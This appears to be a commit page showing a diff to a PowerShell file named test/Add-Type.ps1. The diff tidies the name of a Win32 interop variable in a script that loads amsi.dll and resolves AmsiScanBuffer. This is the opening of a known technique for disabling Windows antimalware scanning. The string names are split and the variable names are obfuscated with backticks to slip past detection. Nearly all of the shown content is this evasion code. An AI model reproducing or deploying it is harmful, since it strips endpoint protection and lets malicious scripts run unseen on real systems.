enotkrutoy commited on
Commit
0bb4697
·
verified ·
1 Parent(s): 80983bc

Update test/Add-Type.ps1

Browse files
Files changed (1) hide show
  1. test/Add-Type.ps1 +2 -2
test/Add-Type.ps1 CHANGED
@@ -1,4 +1,4 @@
1
- ${W`i`N32} = @"
2
  using System;
3
  using System.Runtime.InteropServices;
4
 
@@ -16,7 +16,7 @@ public class Win32 {
16
  }
17
  "@
18
 
19
- Add-Type ${WIn`32}
20
 
21
  ${LOA`dlI`BR`ARY} = [Win32]::LoadLibrary("am" + ("{1}{0}"-f 'll','si.d'))
22
  ${aDD`R`Ess} = [Win32]::GetProcAddress(${lo`AD`L`ibRary}, ("{1}{0}"-f 'si','Am') + ("{0}{1}"-f'Sc','an') + ("{0}{1}"-f'Bu','ffer'))
 
1
+ $Win32 = @"
2
  using System;
3
  using System.Runtime.InteropServices;
4
 
 
16
  }
17
  "@
18
 
19
+ Add-Type $Win32
20
 
21
  ${LOA`dlI`BR`ARY} = [Win32]::LoadLibrary("am" + ("{1}{0}"-f 'll','si.d'))
22
  ${aDD`R`Ess} = [Win32]::GetProcAddress(${lo`AD`L`ibRary}, ("{1}{0}"-f 'si','Am') + ("{0}{1}"-f'Sc','an') + ("{0}{1}"-f'Bu','ffer'))